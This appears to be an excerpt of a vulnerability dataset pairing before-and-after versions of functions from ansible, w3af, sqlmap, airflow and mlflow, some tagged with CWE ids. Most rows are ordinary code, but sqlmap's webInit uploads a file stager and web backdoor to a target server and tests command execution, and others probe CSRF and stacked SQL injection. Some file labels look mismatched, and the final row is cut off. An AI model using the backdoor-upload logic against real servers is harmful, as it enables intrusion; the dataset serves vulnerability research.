            # legacy, equivalent to #Requires -Modules powershell
            if REPLACER_WINDOWS in line:
                module_names.add(b'Ansible.ModuleUtils.Legacy')
            line_match = requires_module_list.match(line)
            if line_match:
                module_names.add(line_match.group(1))

        for m in set(module_names):
            m = to_text(m)
            mu_path = ps_module_utils_loader.find_plugin(m, "".psm1"")
            if not mu_path:
                raise AnsibleError('Could not find imported module support code for \'%s\'.' % m)
            exec_manifest[""powershell_modules""][m] = to_text(
                base64.b64encode(
                    to_bytes(
                        _slurp(mu_path)
                    )
                )
            )

        # FUTURE: smuggle this back as a dict instead of serializing here; the connection plugin may need to modify it
        module_json = json.dumps(exec_manifest)

        b_module_data = exec_wrapper.replace(b""$json_raw = ''"", b""$json_raw = @'\r\n%s\r\n'@"" % to_bytes(module_json))

    elif module_substyle == 'jsonargs':
        module_args_json = to_bytes(json.dumps(module_args))

        # these strings could be included in a third-party module but
        # officially they were included in the 'basic' snippet for new-style
        # python modules (which has been replaced with something else in
        # ansiballz) If we remove them from jsonargs-style module replacer
        # then we can remove them everywhere.
        python_repred_args = to_bytes(repr(module_args_json))
        b_module_data = b_module_data.replace(REPLACER_VERSION, to_bytes(repr(__version__)))
        b_module_data = b_module_data.replace(REPLACER_COMPLEX, python_repred_args)
        b_module_data = b_module_data.replace(REPLACER_SELINUX, to_bytes(','.join(C.DEFAULT_SELINUX_SPECIAL_FS)))

        # The main event -- substitute the JSON args string into the module
        b_module_data = b_module_data.replace(REPLACER_JSONARGS, module_args_json)

        facility = b'syslog.' + to_bytes(task_vars.get('ansible_syslog_facility', C.DEFAULT_SYSLOG_FACILITY), errors='surrogate_or_strict')
        b_module_data = b_module_data.replace(b'syslog.LOG_USER', facility)

    return (b_module_data, module_style, shebang)",CWE-330,ansible/ansible,91f4c37ed7498427776e933c0173df91226ef59f,"def _find_module_utils(module_name, b_module_data, module_path, module_args, task_vars, module_compression, async_timeout, become,
                       become_method, become_user, become_password, environment):
    """"""
    Given the source of the module, convert it to a Jinja2 template to insert
    module code and return whether it's a new or old style module.
    """"""
    module_substyle = module_style = 'old'

    # module_style is something important to calling code (ActionBase).  It
    # determines how arguments are formatted (json vs k=v) and whether
    # a separate arguments file needs to be sent over the wire.
    # module_substyle is extra information that's useful internally.  It tells
    # us what we have to look to substitute in the module files and whether
    # we're using module replacer or ansiballz to format the module itself.
    if _is_binary(b_module_data):
        module_substyle = module_style = 'binary'
    elif REPLACER in b_module_data:
        # Do REPLACER before from ansible.module_utils because we need make sure
        # we substitute ""from ansible.module_utils basic"" for REPLACER
        module_style = 'new'
        module_substyle = 'python'
        b_module_data = b_module_data.replace(REPLACER, b'from ansible.module_utils.basic import *')
    elif b'from ansible.module_utils.' in b_module_data:
        module_style = 'new'
        module_substyle = 'python'
    elif REPLACER_WINDOWS in b_module_data or re.search(b'#Requires \-Module', b_module_data, re.IGNORECASE):
        module_style = 'new'
        module_substyle = 'powershell'
    elif REPLACER_JSONARGS in b_module_data:
        module_style = 'new'
        module_substyle = 'jsonargs'
    elif b'WANT_JSON' in b_module_data:
        module_substyle = module_style = 'non_native_want_json'

    shebang = None
    # Neither old-style, non_native_want_json nor binary modules should be modified
    # except for the shebang line (Done by modify_module)
    if module_style in ('old', 'non_native_want_json', 'binary'):
        return b_module_data, module_style, shebang

    output = BytesIO()
    py_module_names = set()

    if module_substyle == 'python':
        params = dict(ANSIBLE_MODULE_ARGS=module_args,)
        python_repred_params = repr(json.dumps(params))

        try:
            compression_method = getattr(zipfile, module_compression)
        except AttributeError:
            display.warning(u'Bad module compression string specified: %s.  Using ZIP_STORED (no compression)' % module_compression)
            compression_method = zipfile.ZIP_STORED

        lookup_path = os.path.join(C.DEFAULT_LOCAL_TMP, 'ansiballz_cache')
        cached_module_filename = os.path.join(lookup_path, ""%s-%s"" % (module_name, module_compression))

        zipdata = None
        # Optimization -- don't lock if the module has already been cached
        if os.path.exists(cached_module_filename):
            display.debug('ANSIBALLZ: using cached module: %s' % cached_module_filename)
            zipdata = open(cached_module_filename, 'rb').read()
        else:
            if module_name in action_write_locks.action_write_locks:
                display.debug('ANSIBALLZ: Using lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[module_name]
            else:
                # If the action plugin directly invokes the module (instead of
                # going through a strategy) then we don't have a cross-process
                # Lock specifically for this module.  Use the ""unexpected
                # module"" lock instead
                display.debug('ANSIBALLZ: Using generic lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[None]

            display.debug('ANSIBALLZ: Acquiring lock')
            with lock:
                display.debug('ANSIBALLZ: Lock acquired: %s' % id(lock))
                # Check that no other process has created this while we were
                # waiting for the lock
                if not os.path.exists(cached_module_filename):
                    display.debug('ANSIBALLZ: Creating module')
                    # Create the module zip data
                    zipoutput = BytesIO()
                    zf = zipfile.ZipFile(zipoutput, mode='w', compression=compression_method)
                    # Note: If we need to import from release.py first,
                    # remember to catch all exceptions: https://github.com/ansible/ansible/issues/16523
                    zf.writestr('ansible/__init__.py',
                                b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n__version__=""' +
                                to_bytes(__version__) + b'""\n__author__=""' +
                                to_bytes(__author__) + b'""\n')
                    zf.writestr('ansible/module_utils/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n')

                    zf.writestr('ansible_module_%s.py' % module_name, b_module_data)

                    py_module_cache = {('__init__',): (b'', '[builtin]')}
                    recursive_finder(module_name, b_module_data, py_module_names, py_module_cache, zf)
                    zf.close()
                    zipdata = base64.b64encode(zipoutput.getvalue())

                    # Write the assembled module to a temp file (write to temp
                    # so that no one looking for the file reads a partially
                    # written file)
                    if not os.path.exists(lookup_path):
                        # Note -- if we have a global function to setup, that would
                        # be a better place to run this
                        os.makedirs(lookup_path)
                    display.debug('ANSIBALLZ: Writing module')
                    with open(cached_module_filename + '-part', 'wb') as f:
                        f.write(zipdata)

                    # Rename the file into its final position in the cache so
                    # future users of this module can read it off the
                    # filesystem instead of constructing from scratch.
                    display.debug('ANSIBALLZ: Renaming module')
                    os.rename(cached_module_filename + '-part', cached_module_filename)
                    display.debug('ANSIBALLZ: Done creating module')

            if zipdata is None:
                display.debug('ANSIBALLZ: Reading module after lock')
                # Another process wrote the file while we were waiting for
                # the write lock.  Go ahead and read the data from disk
                # instead of re-creating it.
                try:
                    zipdata = open(cached_module_filename, 'rb').read()
                except IOError:
                    raise AnsibleError('A different worker process failed to create module file. '
                                       'Look at traceback for that process for debugging information.')
        zipdata = to_text(zipdata, errors='surrogate_or_strict')

        shebang, interpreter = _get_shebang(u'/usr/bin/python', task_vars)
        if shebang is None:
            shebang = u'#!/usr/bin/python'

        # Enclose the parts of the interpreter in quotes because we're
        # substituting it into the template as a Python string
        interpreter_parts = interpreter.split(u' ')
        interpreter = u""'{0}'"".format(u""', '"".join(interpreter_parts))

        now = datetime.datetime.utcnow()
        output.write(to_bytes(ACTIVE_ANSIBALLZ_TEMPLATE % dict(
            zipdata=zipdata,
            ansible_module=module_name,
            params=python_repred_params,
            shebang=shebang,
            interpreter=interpreter,
            coding=ENCODING_STRING,
            year=now.year,
            month=now.month,
            day=now.day,
            hour=now.hour,
            minute=now.minute,
            second=now.second,
        )))
        b_module_data = output.getvalue()

    elif module_substyle == 'powershell':
        # Powershell/winrm don't actually make use of shebang so we can
        # safely set this here.  If we let the fallback code handle this
        # it can fail in the presence of the UTF8 BOM commonly added by
        # Windows text editors
        shebang = u'#!powershell'

        exec_manifest = dict(
            module_entry=to_text(base64.b64encode(b_module_data)),
            powershell_modules=dict(),
            module_args=module_args,
            actions=['exec'],
            environment=environment
        )

        exec_manifest['exec'] = to_text(base64.b64encode(to_bytes(leaf_exec)))

        if async_timeout > 0:
            exec_manifest[""actions""].insert(0, 'async_watchdog')
            exec_manifest[""async_watchdog""] = to_text(base64.b64encode(to_bytes(async_watchdog)))
            exec_manifest[""actions""].insert(0, 'async_wrapper')
            exec_manifest[""async_wrapper""] = to_text(base64.b64encode(to_bytes(async_wrapper)))
            exec_manifest[""async_jid""] = str(random.randint(0, 999999999999))
            exec_manifest[""async_timeout_sec""] = async_timeout

        if become and become_method == 'runas':
            exec_manifest[""actions""].insert(0, 'become')
            exec_manifest[""become_user""] = become_user
            exec_manifest[""become_password""] = become_password
            exec_manifest[""become""] = to_text(base64.b64encode(to_bytes(become_wrapper)))

        lines = b_module_data.split(b'\n')
        module_names = set()

        requires_module_list = re.compile(to_bytes(r'(?i)^#\s*requires\s+\-module(?:s?)\s*(Ansible\.ModuleUtils\..+)'))

        for line in lines:
            # legacy, equivalent to #Requires -Modules powershell
            if REPLACER_WINDOWS in line:
                module_names.add(b'Ansible.ModuleUtils.PowerShellLegacy')
            line_match = requires_module_list.match(line)
            if line_match:
                module_names.add(line_match.group(1))

        for m in set(module_names):
            m = to_text(m)
            mu_path = ps_module_utils_loader.find_plugin(m, "".psm1"")
            if not mu_path:
                raise AnsibleError('Could not find imported module support code for \'%s\'.' % m)
            exec_manifest[""powershell_modules""][m] = to_text(
                base64.b64encode(
                    to_bytes(
                        _slurp(mu_path)
                    )
                )
            )

        # FUTURE: smuggle this back as a dict instead of serializing here; the connection plugin may need to modify it
        module_json = json.dumps(exec_manifest)

        b_module_data = exec_wrapper.replace(b""$json_raw = ''"", b""$json_raw = @'\r\n%s\r\n'@"" % to_bytes(module_json))

    elif module_substyle == 'jsonargs':
        module_args_json = to_bytes(json.dumps(module_args))

        # these strings could be included in a third-party module but
        # officially they were included in the 'basic' snippet for new-style
        # python modules (which has been replaced with something else in
        # ansiballz) If we remove them from jsonargs-style module replacer
        # then we can remove them everywhere.
        python_repred_args = to_bytes(repr(module_args_json))
        b_module_data = b_module_data.replace(REPLACER_VERSION, to_bytes(repr(__version__)))
        b_module_data = b_module_data.replace(REPLACER_COMPLEX, python_repred_args)
        b_module_data = b_module_data.replace(REPLACER_SELINUX, to_bytes(','.join(C.DEFAULT_SELINUX_SPECIAL_FS)))

        # The main event -- substitute the JSON args string into the module
        b_module_data = b_module_data.replace(REPLACER_JSONARGS, module_args_json)

        facility = b'syslog.' + to_bytes(task_vars.get('ansible_syslog_facility', C.DEFAULT_SYSLOG_FACILITY), errors='surrogate_or_strict')
        b_module_data = b_module_data.replace(b'syslog.LOG_USER', facility)

    return (b_module_data, module_style, shebang)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/audit/csrf.py,0,"def _is_origin_checked(self, freq, orig_response):
        """"""
        :return: True if the remote web application verifies the Referer before
                 processing the HTTP request.
        """"""
        fake_ref = 'http://www.w3af.org/'

        mutant = HeadersMutant(copy.deepcopy(freq))
        headers = mutant.get_dc()
        headers['Referer'] = fake_ref
        mutant.set_token(('Referer',))

        mutant_response = self._uri_opener.send_mutant(mutant)
        
        if not self._is_resp_equal(orig_response, mutant_response):
            return True
        
        return False",,andresriancho/w3af,41b8d2f41e7d2410a19656bac3e549782aec9b88,"def _is_origin_checked(self, freq, orig_response):
        """"""
        :return: True if the remote web application verifies the Referer before
                 processing the HTTP request.
        """"""
        fake_ref = 'http://www.w3af.org/'

        mutant = HeadersMutant(copy.deepcopy(freq))
        headers = mutant.get_dc()
        headers['Referer'] = freq.get_referer()
        mutant.set_token(('Referer',))
        mutant.set_token_value(fake_ref)

        mutant_response = self._uri_opener.send_mutant(mutant)
        
        if not self._is_resp_equal(orig_response, mutant_response):
            return True
        
        return False"
,UNKNOWN,UNKNOWN,helm_tests/security/test_metadata_connection_secret.py,1,"def test_should_not_generate_a_document_if_using_existing_secret(self):
        docs = render_chart(
            values={""data"": {""metadataSecretName"": ""foo""}},
            show_only=[""templates/secrets/metadata-connection-secret.yaml""],
        )

        assert len(docs) == 0",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_not_generate_a_document_if_using_existing_secret(self):
        docs = render_chart(
            values={""data"": {""metadataSecretName"": ""foo""}},
            show_only=[""templates/secrets/metadata-connection-secret.yaml""],
        )

        assert 0 == len(docs)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/web.py,0,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the file stager""
        logger.info(infoMsg)

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = sorted(getDirs())

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi))

        stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        success = False

        for docRoot in arrayizeValue(kb.docRoot):
            if success:
                break

            for directory in directories:
                uriPath = """"

                if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
                    continue

                directory = ntToPosixSlashes(normalizePath(directory)).replace(""//"", ""/"").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(""//"", ""/"").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                    localPath = ""%s/%s"" % (docRoot, directory)
                    uriPath = ""/%s"" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot

                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, ""/"")
                        uriPath = ""/%s"" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(r""//[^/]+?/(?P<result>.*)/."", conf.url)

                        if webDir:
                            uriPath = ""/%s"" % webDir
                        else:
                            continue

                localPath = posixpath.normpath(localPath).rstrip('/')
                uriPath = posixpath.normpath(uriPath).rstrip('/')

                # Upload the file stager
                self._webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, uriPath)
                self.webStagerUrl = ""%s/%s"" % (self.webBaseUrl, stagerName)
                self.webStagerFilePath = ntToPosixSlashes(normalizePath(""%s/%s"" % (localPath, stagerName))).replace(""//"", ""/"").rstrip('/')

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or """"

                if ""sqlmap file uploader"" not in uplPage:
                    warnMsg = ""unable to upload the file stager ""
                    warnMsg += ""on '%s'"" % localPath
                    singleTimeWarnMessage(warnMsg)

                    if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        infoMsg = ""trying to upload the file stager via ""
                        infoMsg += ""UNION technique""
                        logger.info(infoMsg)

                        handle, filename = mkstemp()
                        os.fdopen(handle).close()  # close low level handle (causing problems later)

                        with open(filename, ""w+"") as f:
                            _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
                            _ = _.replace(""WRITABLE_DIR"", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
                            f.write(utf8encode(_))

                        self.unionWriteFile(filename, self.webStagerFilePath, ""text"")

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or """"

                        if ""sqlmap file uploader"" not in uplPage:
                            continue
                    else:
                        continue

                if ""<%"" in uplPage or ""<?"" in uplPage:
                    warnMsg = ""file stager uploaded on '%s', "" % localPath
                    warnMsg += ""but not dynamically interpreted""
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == WEB_API.ASPX:
                    kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                    kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

                infoMsg = ""the file stager has been successfully uploaded ""
                infoMsg += ""on '%s' - %s"" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == WEB_API.ASP:
                    match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    _ = ""tmpe%s.exe"" % randomStr(lowercase=True)
                    if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", _)):
                        self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                        self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
                        warnMsg = ""backdoor has not been successfully uploaded ""
                        warnMsg += ""through the file stager possibly because ""
                        warnMsg += ""the user running the web server process ""
                        warnMsg += ""has not write privileges over the folder ""
                        warnMsg += ""where the user running the DBMS process ""
                        warnMsg += ""was able to upload the file stager or ""
                        warnMsg += ""because the DBMS and web server sit on ""
                        warnMsg += ""different servers""
                        logger.warn(warnMsg)

                        message = ""do you want to try the same method used ""
                        message += ""for the file stager? [Y/n] ""
                        getOutput = readInput(message, default=""Y"")

                        if getOutput in (""y"", ""Y""):
                            self._webFileInject(backdoorContent, backdoorName, localPath)
                        else:
                            continue

                    self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = localPath

                self.webBackdoorFilePath = ntToPosixSlashes(normalizePath(""%s/%s"" % (localPath, backdoorName))).replace(""//"", ""/"").rstrip('/')

                testStr = ""command execution test""
                output = self.webBackdoorRunCmd(""echo %s"" % testStr)

                if output and testStr in output:
                    infoMsg = ""the backdoor has been successfully ""
                else:
                    infoMsg = ""the backdoor has probably been successfully ""

                infoMsg += ""uploaded on '%s' - "" % self.webDirectory
                infoMsg += self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break",,sqlmapproject/sqlmap,0037d52098885956cbbde488100ce3233f0f5654,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the file stager""
        logger.info(infoMsg)

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = sorted(getDirs())

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi))

        stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        success = False

        for docRoot in arrayizeValue(kb.docRoot):
            if success:
                break

            for directory in directories:
                uriPath = """"

                if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
                    continue

                directory = ntToPosixSlashes(normalizePath(directory)).replace(""//"", ""/"").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(""//"", ""/"").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                    localPath = ""%s/%s"" % (docRoot, directory)
                    uriPath = ""/%s"" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot

                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, ""/"")
                        uriPath = ""/%s"" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(r""//[^/]+?/(?P<result>.*)/."", conf.url)

                        if webDir:
                            uriPath = ""/%s"" % webDir
                        else:
                            continue

                localPath = posixpath.normpath(localPath).rstrip('/')
                uriPath = posixpath.normpath(uriPath).rstrip('/')

                # Upload the file stager
                self._webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, uriPath)
                self.webStagerUrl = ""%s/%s"" % (self.webBaseUrl, stagerName)
                self.webStagerFilePath = ntToPosixSlashes(normalizePath(""%s/%s"" % (localPath, stagerName))).replace(""//"", ""/"").rstrip('/')

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or """"

                if ""sqlmap file uploader"" not in uplPage:
                    warnMsg = ""unable to upload the file stager ""
                    warnMsg += ""on '%s'"" % localPath
                    singleTimeWarnMessage(warnMsg)

                    if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        infoMsg = ""trying to upload the file stager via ""
                        infoMsg += ""UNION technique""
                        logger.info(infoMsg)

                        handle, filename = mkstemp()
                        os.fdopen(handle).close()  # close low level handle (causing problems latter)

                        with open(filename, ""w+"") as f:
                            _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
                            _ = _.replace(""WRITABLE_DIR"", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
                            f.write(utf8encode(_))

                        self.unionWriteFile(filename, self.webStagerFilePath, ""text"")

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or """"

                        if ""sqlmap file uploader"" not in uplPage:
                            continue
                    else:
                        continue

                if ""<%"" in uplPage or ""<?"" in uplPage:
                    warnMsg = ""file stager uploaded on '%s', "" % localPath
                    warnMsg += ""but not dynamically interpreted""
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == WEB_API.ASPX:
                    kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                    kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

                infoMsg = ""the file stager has been successfully uploaded ""
                infoMsg += ""on '%s' - %s"" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == WEB_API.ASP:
                    match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    _ = ""tmpe%s.exe"" % randomStr(lowercase=True)
                    if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", _)):
                        self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                        self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
                        warnMsg = ""backdoor has not been successfully uploaded ""
                        warnMsg += ""through the file stager possibly because ""
                        warnMsg += ""the user running the web server process ""
                        warnMsg += ""has not write privileges over the folder ""
                        warnMsg += ""where the user running the DBMS process ""
                        warnMsg += ""was able to upload the file stager or ""
                        warnMsg += ""because the DBMS and web server sit on ""
                        warnMsg += ""different servers""
                        logger.warn(warnMsg)

                        message = ""do you want to try the same method used ""
                        message += ""for the file stager? [Y/n] ""
                        getOutput = readInput(message, default=""Y"")

                        if getOutput in (""y"", ""Y""):
                            self._webFileInject(backdoorContent, backdoorName, localPath)
                        else:
                            continue

                    self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = localPath

                self.webBackdoorFilePath = ntToPosixSlashes(normalizePath(""%s/%s"" % (localPath, backdoorName))).replace(""//"", ""/"").rstrip('/')

                testStr = ""command execution test""
                output = self.webBackdoorRunCmd(""echo %s"" % testStr)

                if output and testStr in output:
                    infoMsg = ""the backdoor has been successfully ""
                else:
                    infoMsg = ""the backdoor has probably been successfully ""

                infoMsg += ""uploaded on '%s' - "" % self.webDirectory
                infoMsg += self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/auto_update/utils.py,0,"def get_current_branch(path=W3AF_LOCAL_PATH):
    '''
    :return: The active branch for the repo at ""path"".
    '''
    repo = git.Repo(path)
    lcomm = get_latest_commit()
    names = [ref.name for ref in repo.refs if ref.commit.hexsha == lcomm]
    name = [name for name in names if 'origin/' not in name][0]
    return name",,andresriancho/w3af,ea61001ceb9e2c12fb6cbc724c82f67cd2acffd6,"def get_current_branch(path=W3AF_LOCAL_PATH):
    '''
    :return: The active branch for the repo at ""path"".
    '''
    repo = git.Repo(path)
    names = [ref.name for ref in repo.refs if ref.commit.hexsha == get_latest_commit()]
    name = [name for name in names if '/' not in name][0]
    return name"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/outband/stacked.py,0,"def stackedTest():
    if conf.direct:
        return

    if kb.stackedTest is not None:
        return kb.stackedTest

    infoMsg  = ""testing stacked queries support on parameter ""
    infoMsg += ""'%s'"" % kb.injParameter
    logger.info(infoMsg)

    query      = getDelayQuery()
    start      = time.time()
    payload, _ = inject.goStacked(query)
    duration   = int(time.time() - start)

    if duration >= conf.timeSec:
        infoMsg  = ""the web application supports stacked queries ""
        infoMsg += ""on parameter '%s'"" % kb.injParameter
        logger.info(infoMsg)

        kb.stackedTest = payload
    else:
        warnMsg  = ""the web application does not support stacked queries ""
        warnMsg += ""on parameter '%s'"" % kb.injParameter
        logger.warn(warnMsg)

        kb.stackedTest = False

    setStacked()

    return kb.stackedTest",,andresriancho/w3af,0a4c1f8aecdf7b52838065c850bfa35a8667660a,"def stackedTest():
    if conf.direct:
        return

    if kb.stackedTest is not None:
        return kb.stackedTest

    infoMsg  = ""testing stacked queries support on parameter ""
    infoMsg += ""'%s'"" % kb.injParameter
    logger.info(infoMsg)

    query      = getDelayQuery()
    start      = time.time()
    payload, _ = inject.goStacked(query)
    duration   = time.time() - start

    if duration >= conf.timeSec:
        infoMsg  = ""the web application supports stacked queries ""
        infoMsg += ""on parameter '%s'"" % kb.injParameter
        logger.info(infoMsg)

        kb.stackedTest = payload
    else:
        warnMsg  = ""the web application does not support stacked queries ""
        warnMsg += ""on parameter '%s'"" % kb.injParameter
        logger.warn(warnMsg)

        kb.stackedTest = False

    setStacked()

    return kb.stackedTest"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/clint/src/clint/linter.py,0,"def visit_Call(self, node: ast.Call) -> None:
        if (
            self.is_mlflow_init_py
            and isinstance(node.func, ast.Name)
            and node.func.id == ""LazyLoader""
        ):
            last_arg = node.args[-1]
            if (
                isinstance(last_arg, ast.Constant)
                and isinstance(last_arg.value, str)
                and last_arg.value.startswith(""mlflow."")
            ):
                self.lazy_modules[last_arg.value] = Location.from_node(node)

        if self._log_model_with_artifact_path(node):
            self._check(Location.from_node(node), rules.LogModelArtifactPath())

        if rules.UseSysExecutable.check(node, self.resolver):
            self._check(Location.from_node(node), rules.UseSysExecutable())

        if self.path.parts[0] != ""tests"" and rules.ForbiddenSetActiveModelUsage.check(
            node, self.resolver
        ):
            self._check(Location.from_node(node), rules.ForbiddenSetActiveModelUsage())

        if self.path.parts[0] != ""tests"" and rules.UnnamedThread.check(node, self.resolver):
            self._check(Location.from_node(node), rules.UnnamedThread())

        if self.path.parts[0] not in (
            ""tests"",
            ""examples"",
        ) and rules.ThreadPoolExecutorWithoutThreadNamePrefix.check(node, self.resolver):
            self._check(Location.from_node(node), rules.ThreadPoolExecutorWithoutThreadNamePrefix())

        self.generic_visit(node)",,mlflow/mlflow,4c0b0da70ab74c26d2592c1bb2f60531b0b30088,"def visit_Call(self, node: ast.Call) -> None:
        if (
            self.is_mlflow_init_py
            and isinstance(node.func, ast.Name)
            and node.func.id == ""LazyLoader""
        ):
            last_arg = node.args[-1]
            if (
                isinstance(last_arg, ast.Constant)
